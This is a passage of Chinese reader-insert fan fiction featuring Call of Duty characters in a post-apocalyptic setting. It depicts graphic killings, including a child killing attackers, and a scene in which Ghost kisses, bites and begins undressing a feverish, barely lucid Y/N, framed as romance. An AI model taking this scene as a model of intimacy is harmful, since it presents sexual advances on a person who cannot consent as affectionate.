Krueger趁机用唇碰了碰她发顶,喉结滚动着发出满足的哼笑:“So ist''s recht.”(这就对
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了)
那臭虫一样的男人此时后颈已渗出冷汗,却硬是绷紧了神色。
他知道自己身后这群混混的德性,这些靠威吓聚拢的乌合之众,只要嗅到一丝软弱就会像鬣狗般扑上来撕碎他。
“装什么装!”他梗着脖子吼出声,故意用砍刀敲击加油泵金属外壳,刺耳的撞击声在夜色里炸开。
“老子的人能把你们射成筛子!开枪!”
木仓响的瞬间,战斗爆发了。
那男人刚扣下扳机,Keegan就已轰碎了他的眉心。
剩下的人呆若木鸡,但飞溅的鲜血已点燃战火,再无回旋余地。
Krueger把Y/N整个锁在臂弯构筑的壁垒间,单手压木仓,子弹倾泻而出。
Konig彻底疯了,端着机木仓对着那具尸体疯狂补弹,仿佛要把对方打成肉泥。
Ghost像死神般精准点射,每个倒下的目标都曾明确展露杀意。即便在愤怒的杀戮中,也保持着令人胆寒的纪律性。
而Nikto,他根本懒得用枪,戴着指虎的拳头直接轰碎了最近一人的喉结,另只手拧断脖颈的脆响,甚至压过了战场上的木仓声。
残破的尸体上还插着从房车射出的箭矢。
几个吓破胆的幸存者瘫坐在地,连木仓都握不住了,可他们反而活了下来。
小女孩从房车跳下,径直走向那些插满箭矢的尸体。她刚醒来就听见那恶心的言论。
她从小在贫民窟的垃圾堆里长大,见过最下作的皮条客,听过最肮脏的交易。
小女孩蹲在尸体旁,指尖沾着尚未凝固的血,这是她第一次杀活人,可在她眼里,这种把弱者当牲口践踏的杂碎,就该死。
Y/N抬起头,超市里的女人和孩子早躲得没影了,她朝里面喊。
“你们赶紧去把枪都捡起来呀。”
没人动弹。直到他们看见那个小女孩。
瘦小的身影蹲在血泊里,一根一根从尸体上拔出箭矢,动作熟练得不像个孩子。
先动身的是一个最初缩在后面的女人。她突然冲出来,一把抓起地上的步木仓,木仓管上还滴着血。
而庆幸的是这个加油站已经废弃,否则这场突如其来的冲突很可能会引发更大的灾难。
他们取走部分补给后,将尸体堆在一旁焚烧处理。Keegan留下一个对讲机。
“如果找到安全区,会通知你们。”
临走前Y/N又从车上偷了个无线电耳机,塞给那个最先拿起武器的女人。
“这个你偷留着。有什么事可以找我,虽然我现在不太有用。”
她顿了顿又说,“但应该很快就恢复了。”
Y/N的眼睛亮晶晶的看着她,那女人用力点头,将耳机紧紧攥在手心。
Konig的怒火仍在燃烧,他咬牙切齿地咒骂着,声音里带着压制不住的暴戾,粗麻布剧烈起伏。
“Ver….dammte.. Drecksau.…hatte…ich….dem Schwein….die....die..Eingeweide rausrei?en….sollen!”
(该死的脏猪...我早该把那杂碎的内脏扯出来!)
他把机枪握把捏得咯吱作响,壮硕的身躯像头野兽来回踱步,时不时狠狠踹向轮胎。
要不是Ghost用手肘狠狠顶了他肋骨一下,他差点就要像Krueger曾经那样,对着尸体发泄怒火了。
车队重新启程,这次换由Keegan和Nikto驾驶房车。
毕竟Konig的状态仍不稳定,需要Ghost和Price盯着他。
临上车前,Y/N抱了抱这只巨兽:“没事的,小熊。”
Konig却罕见的没有反应,垂着头跨进装甲车里。
车内,Konig和Ghost都沉默着。他们几乎忘了,这世上不只有异变体和战场上的敌人。
即便是普通人里,也藏着比怪物更险恶的存在。而现在的Y/N,既没有自保能力,也不确定何时能恢复。
更令人担忧的是,即便她恢复了力量,以她对人性之恶的天真认知,若独自遇上那些狡猾又肮脏的人类,她根本分辨不出危险。
Krueger不知什么时候又套上了那全封闭的头帘,防弹头盔严丝合缝地扣在里面,连眼睛的轮廓都看不见。
嘶哑的声音传出:“想那么多干什么?现在这世道,只要是威胁,管他是平民还是什么,统统干掉就完了。也不知道你们在犹豫什么。”
“别等到哪天小猫真被你们的犹豫害死了,才知道动手。”
Price的眼剜向Krueger,指间的雪茄骤然亮起猩红光点。
Krueger无所谓地耸耸肩,作战服随着动作沙沙作响。
他做了个拉链封嘴的手势,但所有人都知道,那面罩下肯定还挂着令人火大的冷笑。
36. 自娱自乐[番外]
Keegan双手稳稳握着方向盘,从后视镜里瞥见Nikto和Y/N在休息区的身影。
Nikto的手指灵活地转动着魔方,三色迷彩的方块在他掌间飞速旋转,每次都能在眨眼间将混乱的色块归位。
Y/N睁大眼睛,微微张开嘴,Nikto就故意打乱重来,而她每次都会露出同样惊讶的表情。两人就这样沉默地重复着这个简单的游戏。
只有魔方转动的咔嗒声在车厢里规律地响着。
小女孩坐在副驾驶,瞥了眼后座又斜眼瞅了瞅Keegan,忍不住撇撇嘴,她实在搞不懂这个男人不争不抢的态度。
Keegan余光扫到小女孩的表情,喉间溢出一声低沉的轻笑。他单手转动方向盘,另一只手敲了敲手腕上战术手表的表盘。
“还不是时候。”
Price那辆装甲车彻底没油了,只能靠房车在前方拖行。但这样下去不是办法,拖拽的重量让房车的油耗飙升,他们必须尽快找到加油站。
可系统从昨天开始就彻底失灵了。卫星信号消失,导航上一片死寂。情况比他们预想的还要糟。
Price的声音从对讲机里传来,沙哑却沉稳。“前方废墟,暂时驻扎。”
车辆缓缓驶入一片荒废的野地。Keegan转身看向车内的Y/N和小女孩。
“待在车上,别出来。”
他和Nikto跳下车,与其他队员迅速分散。外面很快传来脚步声,风声,以及刀刃切入腐肉的闷响。
没有枪声,他们选择了最安静的清理方式。
不知过了多久,车门被拉开。Keegan站在外面,作战服上溅满暗沉的血迹。
他没有上车,只是侧身让开,像是不愿染脏车厢,声音里带着一丝疲惫。
“干净了,下来吧。”
所有人都疲惫不堪。早在遇见Y/N之前,他们就已经连续多日没有好好休息。
而现在更要时刻绷紧神经,因为Y/N如今只是个毫无自保能力的普通人。
此刻,四周终于安静下来。异变体被清理干净,横七竖八地倒在远处。
众人直接坐在坚硬的地面上,在车里睡觉太危险,密闭的空间会削弱他们对危险的感知。
他们也不让Y/N单独回到车上。即便那里更舒适,但没人敢冒险让她离开视线。
Krueger靠在一侧废墟墙角,闭目养神,Konig强撑着睡意,木仓不离手。
夜风掠过荒野,卷起几片枯叶。在这短暂的宁静中,渐渐地,废墟间响起男人们沉重而均匀的鼾声,这是多日来他们第一次真正入睡。
小女孩和Y/N肩并肩坐在篝火旁,分享着从超市搜刮来的膨化食品,拿着根树枝在地上玩你画我猜。
二十米开外的断墙边,Ghost掀起骷髅面罩的下沿,烟头的红光在嘴角明灭。
Price站在他身侧,雪茄的灰白烟雾与夜色交融。
“我们之后该怎么走,你想好了吗,Boss。”
Ghost的声音罕见地褪去沉闷,清晰锋利。这种毫无伪装的说话方式,他只会在Price面前展现。
Price弹了弹雪茄,火星溅落在军靴旁。
“上面的人早就消失了,在给我们下达保护他们撤离前,他们就早撤离了。”
烟圈缓缓扩散,“所以问我计划?老实说,Ghost,我只有个疯狂的想法。”
Ghost深吸完最后一口烟,面具扣回脸上时发出声响。骷髅眼洞后的目光穿过夜幕,锁定那个正在火堆旁,跟着小女孩折纸飞机的女人。
“那就干。”
面罩下传来低哑的嗡鸣,他拉动木仓栓的咔嗒声成了最好的宣誓。
小女孩终究抵不过困意,蜷缩在篝火旁睡着了。Y/N独自坐在生锈的铁桶边,将身上唯一件外套盖在了小女孩身上。
她机械地往嘴里塞着零食,却止不住被夜风吹得发抖。迷迷糊糊就往身旁的热源靠去,额头抵上某个坚实的物体。
Merrick睁开眼,垂眸看了看这个往自己腿边蹭的女人,撑起半边身子低声道。
“冷就去找Keegan,那家伙浑身跟烧着的炭似的。”
Y/N揉着眼睛摇摇晃晃站起来。Merrick正要重新躺下,忽然对上一双冰冷的视线。
Nikto不知何时已经睁开眼,在跳动的火光中像条蓄势待发的毒蛇,瞳孔里凝着杀意。
Merrick嗤笑一声,故意背对着他躺下。
Y/N轻手轻脚地摸上建筑二楼,在Keegan狙击位的阴影里坐下。
他原本正倚着承重梁假寐,身旁布料摩擦的细微声响却让他瞬间惊醒。
匕首出鞘划出半弧,刀尖在距离Y/N咽喉五厘米处急刹。
面罩下的呼吸明显滞了一瞬。Keegan收刀时手套擦过刀面,发出刺耳的金属刮擦声。
“不能这样靠近,”他声音压得极低,喉结滚动着咽下后怕,“万一我没收住刀?”
“我冷。他说来找你。”Y/N往他身边挤了挤,说着指了指一楼的Merrick。
Keegan扯下自己浸着体温的战术手套,握住Y/N的手时眉头立刻拧紧,那指尖凉得像冰棱。
他不由分说地将手套套在她手上,过大的尺寸让她的手指显得格外纤细,活像戴着对防爆拆弹用的防护手套。
Y/N晃了晃被包裹得圆鼓鼓的双手,发现Keegan面罩下的眼神突然软化,甚至透出几分罕见的笑意。
她趁机又往他怀里蹭了半寸,鼻尖碰到他作战服下透出的体温时,忍不住轻叹一声。
这种刺骨的寒冷对她而言实在太陌生了,曾经的她哪需要担心夜风与低温?
Y/N望着被战术手套包裹的双手,突然意识到人类的躯体竟是如此脆弱。
会因寒冷颤抖,会被刀刃轻易划开,连加油站那群渣滓的劣质子弹都能造成永久伤害。
那些超市里的女人,那些被迫诱骗路人的年轻人,都只是在生存本能驱使下的可怜虫。
她转头看向Keegan被夜风吹拂的面罩,又透过裂缝瞥见楼下警戒的男人们,还有熟睡的小女孩。
这些守护在她身边的强者,究竟经历过多少血肉横飞的厮杀,才磨砺出如今钢筋铁骨般的生存能力。
那个本该在校园里玩耍的孩子,又被迫咽下过多少残酷现实,才练就了从尸首上拔箭的狠绝。
夜风卷着火星掠过她的睫毛,人类体温的暖意正从手套纤维里慢慢渗透进来。
这是她成为人类后,第一次真正理解“强大”背后沉甸甸的重量。
Y/N突然意识到一个事实,如果自己永远变不回原来的样子,要怎么办?
要怎么给予他们永生。要怎么像从前那样保护他们,怎么让他们的伤口愈合如初。
鼻腔里突然涌起一阵酸涩,像有无数细小的虫子在爬,一路钻到眼眶里。她茫然地眨着眼,直到温热的液体划过脸颊,才惊觉自己竟然在哭。
一双手突然捧住她的脸。Keegan不知何时已坐直了身体,面罩下的眼睛罕见地流露出慌乱。
他见过Y/N流血,见过她化作血肉模糊的样子,见过她因剧痛而生理性流泪。
却从未见过她像现在这样,咬着下唇,眼泪无声地往下掉,像个迷路的孩子般委屈。
“Hey.…”他的拇指擦过她湿漉漉的脸颊,手指蹭得皮肤微微发红。
这个在战场上所向披靡的男人,此刻却像个新兵一样手足无措。
Y/N的泪珠正巧落在他虎口的旧疤上。Keegan像被烫到般颤了颤,却收拢五指将她潮湿的脸颊整个包进掌心。
“怎么了,Lass。跟我说说,没事的。”
Y/N不说话,她虽然很难过,但又有点惊奇自己现在的情绪和眼泪,她伸出舌头舔了舔落下的泪水。
“咸的。像海水一样。”
Keegan没有再追问,指腹轻轻蹭过她湿润的唇角。
“是啊,是咸的。”他低声道。
Y/N抓住他的衣领,整个人蜷进他怀里,声音闷在他颈间。
“我不想像现在这样。我还有一个,那应该叫什么,对,梦想。我还有一个梦想。”
Keegan收紧手臂,战术外套裹住她单薄的身躯,让她靠在自己颈窝。
“嗯?”他轻声问,喉结擦过她的发丝。
“我想让你们都永生。”
Keegan的身体骤然僵硬。他猛地撑起Y/N的肩膀,让她坐在自己腿上,眉头紧锁。
永生?她难道想让他们吞食她吗,不,绝不可能。
“为什么?”他的声音发紧,“Y/N,为什么这么想?”
她捧住他的脸,额头抵上他的,鼻尖几乎相触。那双灰蓝色的眼睛近在咫尺,Y/N希望这样能把自己的念头刻进他的灵魂。
而在这栋废墟的建筑里,楼下的男人们其实在听见动静时早已清醒。
“因为我不会死。”她的呼吸拂过他的嘴唇,“我活了太久,久到忘记了很多事,很多人.…但偶尔会感觉到,那些被遗忘的痛苦。”
“…..Y/N…”
“我不想忘记你们.…我害怕,我再剩下我自己一个….或者…如果我能死…..”
“Hey….hey..hey,够了,Lass,别说了….”
Keegan打断她,将她重新按回胸口,手掌紧紧护住她的后脑。他的心跳又快又重,像是要撞碎肋骨。
月光在废墟中流淌,像一泓凝固的眼泪。男人们沉默的姿态,构成了对永生最残酷的注解。
Ghost的手指深深掐入匕首柄部的刻痕,那些记录着每一次任务死亡人数的刻痕。现在他终于明白,她的灵魂上该有多少道这样的刻痕,才能出现那日所见的眼神。
他盯着墙上斑驳的血迹,突然意识到这些痕迹终将消失,就像他终将被遗忘。
而她要承受的,是看着这些痕迹一次次出现又消失,直到连“遗忘”本身都被遗忘。
Konig那双蓝莹莹的眼睛,此刻为想象不出百年千年的孤独而颤抖。连呼吸都带着咸涩的水汽。
他在为另一个灵魂无法死去而心碎。他觉得自己像是完全被按在了海底。
就像Y/N浸透了流逝,咸涩,沉重,永无止境。
Krueger反复的装卸弹匣,直到弹匣终于卡死在了手木仓里。金属表面反射的火光中,他看见无数个可能的未来。
自己衰老,腐朽,化为尘土,Y/N依然还站在原地,连他的墓碑都会在时光中风化。
其余几个男人都沉默着,
他们这样的人,比谁都更清楚,永生不是恩赐,而是一场凌迟。<
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而Y/N的灵魂早被岁月削成白骨,却还要在轮回的齿轮里反复碾磨。
那些被反复咀嚼的伤口,在愈合与撕裂间来回的痛楚。每次新生都是结痂的撕毁,每次苏醒都要重新品尝被吞噬的绝望。
而或许对她来说,遗忘,就是对自我的背叛。
此刻浸透Konig面罩的泪水,不过是她浩瀚苦海里的一滴盐分。
Keegan抱着她久久没有说话,但Y/N的声音在他怀抱里闷闷响起。
“我不会逼你们的。毕竟,这只是个梦想。我听说,梦想,本来就不一定会实现。”
Y/N仰起脸,睫毛上还挂着未落的泪珠。她困惑地眨了眨眼,不明白为什么自己说完后,Keegan的手臂突然绷得像要勒断她的肋骨。
“我说错什么了吗?”她轻声问,指尖无聊的抠着他战术背心上的一道弹痕。
可男人的呼吸却变得粗重,仿佛她刚才往他肺里塞了一把碎玻璃。
她歪着头,看着Keegan面罩下剧烈滚动的喉结,那种表情她见过很多次。
可此刻她不明白,为什么一句关于梦想的实话,会让人类露出这般痛苦的表情。
“梦想,本来就不一定会实现啊。”
她又重复了一遍,这次特意放慢语速,像在教孩子认字。这句话在她漫长的生命里被验证过太多次,简直成了某种自然规律。
可当她看到Keegan猛地别过脸时,突然感到一阵陌生的刺痛。原来真话也会伤人吗?可她明明没想伤人的。
真奇怪。
黎明时分,当第一缕阳光穿透废墟的裂缝,Y/N终于蜷在Keegan怀里沉沉睡去。
而其他人,整夜未眠的男人们,眼底都沉淀着同样的阴郁。
Keegan在众人注视中抱起Y/N,踏下楼梯时发出不堪重负的呻吟。
晨光为她身上镀上一层光晕,像是随时会消散的幻影。
Soap突然吹了声口哨,”那我八成能陪仙女教母到最后了。”
他摸着曾经被洞穿的眉心,“毕竟她都把我从死神手里抢回来过。”
说着还特意扫过那几人,“你们应该没意见吧?”
“我….我也要一直…我肯定要一直在Y/N身边的!….你们就不用了….”
Konig这话给Krueger整笑了,头罩下传来闷闷的笑声。
“你们想的还挺美,放心吧,在你们真能获得什么永生前,我会先送你们上路的。”
Ghost的骷髅脸转向争执的中心,没有说话。
Price倚在摇摇欲坠的门框边,青色的烟,将那张饱经风霜的脸隐在朦胧之后。
只有沙哑的命令刺破晨雾。
“都闭嘴,让她睡。”
他弹了弹烟灰,“Nikto,送她去房车。你守着。”
“Huh?”Krueger的头罩猛的转向Price,“老头,你让这只俄罗斯疯狗?”
Price吐出一口烟圈,透过渐渐消散的烟气瞥了他一眼。
“他至少安静。”烟头在门框上摁灭,“而且比你老实。”
Nikto已经无声地抱起Y/N,连眼神都没分给其他人,走向房车。
Price踩过几粒未燃尽的炭渣。
“都过来。”他声音不大,干脆利落,每个字都带着分量。
男人们无声围拢,他的眼睛扫过每个人的面罩。
“我们现在没有任务简报,没有空中支援。那群高层早不知道跑哪去了。但他妈的不能像群丧家犬似的乱窜!”
他抓起地上一把泥土,任其从指缝间落下。
“指挥链断了,但我们的责任没断。”
Price从战术背心里抽出张泛黄的地图,边缘还留着弹孔。他指向地图上某处,那是个废弃的军事前哨。
“建个据点,收拢平民,训练能拿枪的。这世界已经没救了,但总得有人守住最后一道防线。”
Price最后看了眼房车方向。“这不是建议,先生们。”
“这是命令。”
Nikto将Y/N轻轻放在床铺上后,便如同守卫般伫立在床边。
他低垂着头,面甲下的呼吸声沉重,缓慢,目光死死锁定在沉睡的Y/N身上。
沉默是他的常态。
并非是无话可说,而是因为他混乱的思绪早在颅内喧嚣成一片战场。
昨夜Y/N那番关于永生的低语,一直正在他脑中不断回响,像卡壳的机木仓,反复撞击着他。
他想告诉Y/N,他愿意。
如果只需要吞噬她的一小部分血肉就能实现永生,他会用最精准的手法,取最小单位的组织。
会用特种部队级别的麻醉剂,确保她不会感到丝毫痛苦。
训练让他精通人体解剖,知道从哪里下刀能避开所有重要血管和神经。
但如果是必须将她整个吞噬......
Nikto的指套不自觉地深掐入掌心,光是想象那个画面他就感到胃部痉挛。
他见过的死亡太多,甚至都没什么感觉。
却从未想过有一天….
他不知道自己能否做到,不是技术上的困难,而是心理上的那道坎。
永生与杀戮的天平在他心中剧烈摇摆,而无论倒向哪边,似乎都是对Y/N的背叛。
37. 自娱自乐[番外]
Ghost独自蹲在废墟外,骷髅面罩掀起一角,烟头的红光在暮色中忽明忽暗。
Soap晃悠着走过去,“喂,对Y/N说的永生那事儿,你怎么看?”
他用肩膀撞了下Ghost。
“什么怎么看。”Ghost吐出一口烟,声音闷在面罩里。
Soap嗤笑一声:“Bullshit, don''t fucking play dumb with me(滚蛋,少跟老子装)
他踢飞一块碎石,“咱们这行哪天不是把脑袋别裤腰带上?要是真能永生。”
他仰头望向傍晚的天空,“老子第一个报名,把七大洲逛遍,说不定还能坐火箭上太空。”
Ghost狠狠掐灭烟头,火星溅在手套上,面罩下的声音像生锈的刀片。
“我活够了。没什么遗憾。”
Soap突然拽住他胳膊:“You''d really let her wander this shitty world alone forever?”(你他妈真舍得让她一个人在这狗屁世界永远流浪?)
Ghost猛地甩开他,面罩下的呼吸骤然加重。
“Then can you fucking bring yourself to butcher her alive?”(那你他妈能下得去手把她生吞活剥了?)
说完转身就走,作战服在风中猎猎作响,整个人阴沉得像具行走的裹尸布。
Krueger和Konig虽然嘴上叫嚣着要接受永生,但他们都会不约而同想起,那本古籍上触目惊心的字眼。
他们都明白,那记载的每个字,都是Y/N用血肉书写的自传。
饮血意味着重复她被追猎的恐惧,吞食等于重演她被分食的噩梦。
他们可以面不改色地杀死任何人,就算是为了永远守护她,他们也不愿成为Y/N新的噩梦。
这项选择太难。
没人能知道该如何面对。
他们决定在这片废墟多休整一日,养精蓄锐后便启程,为建立属于他们的庇护所做准备。
Nikto被Price叫到一旁,老队长正低声交代他不在时制定的行动计划。
所有人都理所当然地认为Y/N很快就会醒来,毕竟天马上黑了。
然而当暮色降临,月亮爬上残破的屋檐,Y/N的床铺依然没有动静。
小女孩蹑手蹑脚地爬上房车,却发现Y/N呆坐在床边,鼻尖和眼眶泛着不自然的红晕,一道晶莹的鼻涕正缓缓下滑。
她递过皱巴巴的卫生纸,却见Y/N困惑地捏着那片柔软的白纸,翻来覆去地查看。
小女孩立刻拿起卫生纸示范,用力擤了擤鼻子。Y/N学着她的样子尝试,鼻腔似乎通畅了一瞬,但马上又堵得严严实实。
“我,诶?”她的声音突然变得闷闷的,像是隔了一层棉花。
Y/N惊恐地摸着自己发红的鼻尖,“我的声音怎么,我说不出话了!鼻子也不能呼吸了!”
她慌乱地试图从床上跳下来,却被一阵突如其来的酸痛钉在原地,“我是不是要死了?”
小女孩拼命摇头,转身就冲下房车。不一会儿,杂乱的脚步声由远及近
“我怎么了?浑身发烫.…头晕目眩.….”
Y/N的声音沙哑得像是磨过,鼻尖还挂着一个摇摇欲坠的鼻涕泡,“我是不是恋爱了?“
Ghost的骷髅脸猛地转向床头柜,那本《恋爱心理学大全》的封面在灯光下格外刺眼。
他一把抓起书就从车窗扔了出去,“少看这些狗屁不通的垃圾。”
Krueger弯腰钻进房车,全封闭的头罩也挡不住他话里的戏谑。
“啧啧,我们的小野猫现在脆得像块薄脆饼干。感冒,老天,我都快忘记这个词怎么拼了。”
Konig突然慌乱地翻找医疗包,“怎么办….我们根本没有...没有感冒药…..”
这个发现让所有人僵在原地,他们早已习惯在枪林弹雨中穿梭的身体,哪还需要准备这种药品。
Soap从车底探出头,手里晃着一支军用抗生素。“要不直接上这个?特效药。”
“不行。”Keegan单手按住Y/N滚烫的额头,“她现在的免疫系统从没接触过这些,会要命的。”
直到此刻,他们才真正意识到问题的严重性,Y/N现在的身体状态宛如新生儿般脆弱,任何一点病菌都可能引发连锁反应。
而他们这群硬汉,却疏忽了最基础的医疗常识。
Ghost的骷髅面罩下传来一声咒骂,有些烦躁自己为何没考虑到这一点。
他猛地抬手打出标准的战术手语。
“Keegan,你和小孩守着她。A组,Soap和Konig,负责东区废弃药店。B组,我和Krueger负责西区居民楼警戒。”
“Nikto,搜索周边任务区域。”
“所有人,40分钟内必须返回。”
这本该是一次标准的任务简报,现在却被用来部署一场感冒药搜救行动。
其余人留守驻扎地,负责保护车辆和人员的安全。
Keegan和小女孩守在房车内,小女孩用浸湿的抹布轻轻敷在Y/N滚烫的额头上。
Y/N双颊通红,眼睛半睁着,虚弱又困惑,她从未体验过这种全身发烫又发冷的痛苦,甚至不明白自己怎么了。Keegan守在一旁,不让她掀开被子,生怕她再着凉。
突然,Keegan像是想起什么,抓起对讲机清晰说道,“还有食物,尽量找营养价值高的。”
对讲机里陆续传来回应。
“收到。”
“收到。”
“嗯。”
不到四十分钟,全员归队。每个人身上都带着与异变体搏斗留下的血迹。
却像刚洗劫完超市般满载而归,大包小包的食物堆满了房车一角。
Konig第一个冲到床边,作战服上的血渍都来不及擦。
“Y/N….你...感觉好些了吗?我这就去.….”他手忙脚乱地翻找着食材,却被Krueger一把拦住。
“就你?”Krueger嗤笑着蹲下身,像排布装备般精准分类物资。
蔬菜罐头,牛肉罐头,燕麦片在他手中快速流转。令人意外的是,这人在房车小厨房里展现出惊人的厨艺天赋,不到十分钟就端出色香味俱全的病号餐。
Soap挑起眉毛,和Konig交换了个意外的眼神。但此刻的Y/N连食物的香气都闻不到,高烧让她浑身绵软无力,对精心准备的食物提不起丝毫食欲。
Ghost冷眼看着Keegan徒劳地试图喂食,Krueger想要捏着Y/N的脸颊想强行灌粥,Konig则像只困惑的巨型犬般蹲在一旁。
场面简直一团糟。
“够了。”他出声打断,声音低沉却不容置疑,“都出去,我来处理。”
Keegan对Ghost的指令无异议,一把拽起Krueger的衣领就往外拖,又朝Konig打了个手势。
门关上的瞬间,Nikto仍站在车外,手里攥着一堆药盒,正逐字研读着说明书。
Ghost没有立即进去。他先是在车外卸下沾满污渍的作战服,甚至回到装甲车换了套全新的。
其他人这才意识到问题,他们每天与异变体厮杀,身上不知沾染了多少病菌,而现在的Y/N脆弱得像个婴儿。
几乎是一瞬间,这群糙汉子们集体行动起来。Soap第一个冲进废墟,抓起湿抹布就往身上猛擦。
Krueger骂骂咧咧地脱掉战术背心,Konig笨拙地试图清理自己沾血的护甲。
Logan和Hesh一脸茫然地看着这群突然洁癖发作的战友,直到Price和Merrick反应过来,厉声催促。
“你们两个,立刻清理干净!”
Ghost换了一身在超市里顺走的干净黑色棉质衬衫,走进房车,他沉默地在Y/N身边坐下,靴子在地板上磕出轻响。
Y/N虚弱地抬眼看他。鼻尖被卫生纸磨得泛红破皮,只能微微张着苍白的唇喘息。
高烧让她的眼角,鼻头和脸颊都泛着不自然的潮红,迷离的视线像是蒙着层水雾,湿漉漉地黏在Ghost身上。
Ghost的喉结不明显地滚动了一下。他下轻咳一声,指尖无意识地摸了把膝盖布料,视线转向车窗外破碎的月光。
但余光仍能看见她因呼吸起伏的胸口,衣服下若隐若现的锁骨线条。
Ghost低沉的声音带着不容拒绝的强硬。“行了,赶紧吃。”
他将混了退烧药的粥碗递到Y/N面前,却见她抗拒地别过脸,就在她试图转身躲避的瞬间,Ghost突然逼近。
有力的手臂一把揽过她的肩头,轻松就将她整个人托起,让她虚软的后背紧贴着自己坚实的胸膛。
左手稳稳端着粥碗,右臂环过她纤细的脖颈形成支撑,金属勺碰触碗沿发出清脆的声响。
“吃完这碗,”他压低的声音擦过她发烫的耳尖,带着硝烟味的呼吸拂过因发烧而通红的耳廓。
“我亲自教你用木仓。”勺子抵在她紧闭的唇缝,温热米粥的香气若有似无地飘散,“包括怎么拆解保养。”
Y/N终于张开嘴,小口小口地咽下粥,Ghost从这个角度能将她病中的容颜尽收眼底。
湿润的唇瓣,若隐若现
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的舌尖,还有随着吞咽轻轻滑动的喉部线条。他的喉结不自觉地跟着滚动了一下,指节无意识地收紧。
Y/N听见他喉结滚动的动静,抬起眼,感冒让她的声音极小极轻。
“你饿了?吃吧。”
Ghost的视线死死锁住她泛着水光的唇,眸色骤然暗沉。
他突然将勺子扔进碗里,手套蹭过她的下唇,抹去那抹诱人的水渍。
“那天为什么让那条疯狗碰你?”他的声音低哑得可怕,带着压抑的怒意。
Y/N烧得糊涂的脑子根本转不动,只是茫然地望着他,烧红的脸颊透着不正常的绯色。
她看见Ghost突然放下碗,骨节分明的手抬到颈侧。这个在战场上从未摘下面具的男人,此刻竟用食指勾起骷髅面的一角,慢慢掀起紧贴的布料,露出线条凌厉的下颌和紧抿的薄唇。
Ghost的唇压下来的瞬间带着凛冽。他单手扣住Y/N的后脑,将她整个人按进自己怀里。
另只手仍死死攥着掀起的头套边缘,仿佛这是他与理智最后的连接点。
Y/N烧得滚烫的唇瓣被他含住,Ghost的吻像他的作战风格一样精准狠戾,舌尖撬开她无力的齿关时,带着不容抗拒的突进意味。
她虚弱的呜咽被吞没在交缠的呼吸里,高烧让这个吻变得像梦境般模糊又滚烫。
Ghost能清晰感受到她紊乱的鼻息,扑在自己暴露在外的下颌上,像被子弹擦过般火辣辣地疼。
他突然狠狠咬了她一口,在血腥味弥漫的瞬间又放柔了力道,转为安抚性的舔舐。
面罩下传来压抑的喘息,那只扣着她后脑的手滑到她颈脉处,拇指按着跳动的血管,这是他确认目标存活的本能动作。
Ghost突然发力,带着战场上的狠劲将Y/N压进床铺。床垫的弹簧发出不堪重负的声响,他用前臂撑住身体重量。
面罩还半掀着,露出的线条绷得死死。Y/N在眩晕中看见他滚动的喉结,和那双永远漆黑的眼睛里燃起的暗火。
Ghost扯下右手的战术手套,带着木仓茧的手重重碾过她发烫的唇瓣,然后是锁骨,最后停在病号服的第一颗纽扣上。
“如果我愿意答应你永生的请求,你能给我什么。”他的呼吸喷在她耳畔,纽扣在他指间发出轻微的崩裂声,暴露出的肌肤立刻激起一阵战栗。
Y/N的呼吸急促,高烧让她的皮肤敏感得发疼。Ghost粗粝的掌心抚过裸露的肩头时,低笑了一声,他俯身,齿尖磨着她锁骨上淡青的血管,舌尖却仿佛尝到了退烧药的苦味。
这让他停顿了一瞬,随即报复性地加重了力道。
“疼......”Y/N无意识地呢喃,手指揪紧了他的衣领。
Ghost的瞳孔骤然收缩。他猛地扣住她手腕按在枕边。
“疼?”他冷哼,俯身再次逼近,鼻尖几乎抵住她的,“你以为永生是什么浪漫的童话?”
Ghost的动作僵住,呼吸声明显粗重了。他撑在女人上方,指节捏得发白,声音像是从齿缝里硬生生挤出来的。
“而现在,你连这点疼都受不了,怎么会想让我们......”
男人突然泄了气般,抬手扣紧骷髅面罩,正准备抽身离开。
“不用吞食我......”Y/N的话拂过他耳际,气若游丝,“那是错的......”
Ghost猛地回头盯住她,骷髅下的眼神锐利如刀:”什么意思?那群疯子他们….”
Y/N费力地半睁着眼,药效让她的视线模糊不清,“他们用错了方法,因为我都记得。 ”
Ghost的心脏紧缩,她竟然记得,难道每一次被吞噬的痛苦她都记得。
他抚上Y/N滚烫的脸,声音沙哑:“忘掉这些.…全都忘掉.….”
她抓着Ghost的衣角,迷迷糊糊说着,“没事….我都记得..…但他们的方法错了….我会想起来的….我会想起来怎么能…..”
“Fucking Hell!”咒骂声压得极低,字字狠戾,压抑的怒意让他的手掌不自觉收紧,却又在触到她皮肤的瞬间放轻了力道。
Ghost深吸一口气,强迫自己冷静:“听着,我会解决这一切。现在,闭眼,睡觉。”
他起身冲出房车,狠狠碾过地面的碎石,仿佛要将满腔怒火发泄在脚下。
太阳穴突突直跳,脑中不断回响着她的话。那些疯子折磨她这么多年,用的居然是错误的方法.…
如果被他们知道真相,如果他们发现之前掌握的永生是错误的,那些人一定会不择手段地把她抓回去,将她锁在实验室里,像解剖标本一样。
Ghost一拳砸向装甲车的钢板,金属的震颤声在寂静的废墟中震响。
38. 自娱自乐[番外]
Ghost重新跳上驾驶座,将房车怼进废墟建筑的入口,他朝小女孩打了个手势,示意她到车上去休息。
其他人立刻察觉到异常,Ghost整个人像一管被点燃的炸药,面罩下的呼吸声重得吓人。
连Price都皱起眉头,他和Soap对视一眼。
这么多年,Ghost从没这么赤裸裸地暴露过情绪,可现在,仿佛连骷髅罩都遮不住那股暴戾。
“出什么事了,兄弟?”Soap试探性地拍了拍他紧绷的肩膀。
Ghost沉默很久,久到Nikto已经开始不耐烦地敲击枪管。
“基地建设必须提速。”他突然开口。
骷髅脸转向众人,面具都遮不住话里的寒意,“Y/N刚说….那些杂种研究永生的方法,全是错的。”
“什……什么?!”
Konig猛地站起身,战术背心的卡扣被震得哗啦作响,这个平日说话结巴的巨人此刻竟异常流利。
“diese Ungeheuer!(那群畜生)一直用错误的方法折磨她?!Verdammte Schei?e!”
Krueger反常的沉默着,但指节攥得咔吧作响,头罩下溢出控制不住的冷笑,这个向来暴躁的男人此刻竟气得连脏话都说不出来。
Keegan深深吸了一口气,胸腔里那颗心脏像是被铁丝网紧紧绞住般刺痛。他用力咬住舌尖,此时只有疼痛能让他感到冷静。
“在未来基地筛选接纳的对象上,我们必须牢牢把关。”
Merrick的目光扫过Keegan微微颤抖的手腕,不动声色地点头。
“首要任务是联络所有可信的队友。优先招募老伙计,我们需要组建一支铁打的队伍。”
“现在这世界。”Soap擦拭着木仓管冷笑。
“连平民都敢为半块饼干杀人。那些没受过训练的疯子,比异变体更危险。”
Price的雪茄在黑暗中忽明忽暗。
